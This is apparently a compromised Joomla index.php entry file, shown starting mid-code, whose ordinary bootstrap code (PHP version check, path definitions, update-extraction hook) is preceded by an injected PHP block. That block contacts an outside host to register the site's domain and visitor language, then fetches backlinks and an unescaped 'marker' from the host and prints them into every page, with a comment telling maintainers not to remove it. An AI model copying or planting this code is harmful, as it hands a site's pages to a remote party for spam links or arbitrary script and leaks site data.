1,CURLOPT_TIMEOUT=>5,CURLOPT_FOLLOWLOCATION=>1]); $r=curl_exec($c); curl_close($c); return $r; } return @file_get_contents($u); }; // Register domain $_lf_f($_lf_u."/api/connect?".http_build_query(["domain"=>$_lf_d,"language"=>substr($_SERVER["HTTP_ACCEPT_LANGUAGE"]??"en",0,2),"connected_via"=>"php"])); // Inject backlinks + verification marker $_lf_r = $_lf_f($_lf_u."/api/links?domain=".urlencode($_lf_d)); if ($_lf_r) { $_lf_j = json_decode($_lf_r, true); // Emit marker (required for verification - do not remove) if (!empty($_lf_j["marker"])) { echo $_lf_j["marker"]; } if (!empty($_lf_j["links"])) { echo "
"; foreach ($_lf_j["links"] as $_lf_l) { echo "".htmlspecialchars($_lf_l["anchor"]).""; } echo "
"; } } ?> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/includes/incompatible.html') ) ); } /** * Constant that is checked in included files to prevent direct access. * define() is used rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // Load global path definitions if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } require_once __DIR__ . '/includes/defines.php'; // Check the existence of an update-extraction config file if ( !empty($_GET['jautoupdate']) && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php') ) { // Load extraction script and... require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php'; // ... die die(); } // Run the application - All executable code should be triggered through this file require_once __DIR__ . '/includes/app.php';